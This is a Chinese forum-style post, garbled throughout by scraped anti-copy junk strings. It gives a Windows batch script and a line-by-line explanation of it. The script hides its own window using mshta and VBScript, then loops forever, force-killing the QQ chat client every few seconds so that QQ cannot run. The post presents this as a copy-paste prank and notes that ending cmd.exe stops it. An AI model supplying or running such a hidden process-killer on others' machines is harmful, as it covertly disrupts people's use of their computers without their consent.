|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 / E5 k0 A8 T3 T7 C5 D- r* V* k
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 ( O/ q4 N' `; p) f
$ c! L$ {$ f3 f' b( d% ?
@echo off
8 _' \- Z9 }3 c! Y/ lif "%1" == "h" goto begin ! c1 T: K+ x, p7 s) i
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit ; Z- G$ T' b; U2 z) R3 ?
:begin ) _; g( B) g( _& o$ X. C; e; F
tasklist |find /i "QQ.exe" % P- S& q) d; ]- Y# R z, Q
if %errorlevel%==0 (goto killit) else (goto next)
2 e2 \& z" m$ h5 s0 ]5 G4 Q* y:killit
7 d" X/ m. p& \1 @' |taskkill /f /im QQ.exe ' {, u2 ~1 f/ G& o$ t( N$ C
:next
1 \; M/ B$ F3 N; j* x9 H5 [ping -n 3 127.t >nul 2>nul 8 r+ d6 o3 l2 k1 d, `/ r
goto begin
6 \6 a1 ?/ P Q
* m6 |0 Q, g6 ^代码到此为止 ; K/ W( {$ a" {
讲解如下:
& ?& P+ R* g+ q: b* K@echo off ------关闭回显 4 e, {: C! p! b
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行 # ~) e' q* `8 B
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 7 G& Z2 a4 s; u) y7 \2 y, ]3 N. R, s
:begin ------------定一段名begin " y) Z6 m1 \% @$ H
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
+ L# O b8 z0 q. @4 b9 N( m Jif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
" o6 D3 p8 l% }' @& k:killit
" O* [ O/ ~: \ W! w3 C% z( R" Ptaskkill /f /im QQ.exe----终结进程QQ.exe & k- `, T( ]* J+ P c# e
:next $ z% |3 E$ ]8 e* a; h" H
ping -n 3 127.t >nul 2>nul -----延迟一段时间 : ~. S% C. R+ J' G$ }2 Y
goto begin--------------返回执行begin; F- l5 U# o: h1 s
|
|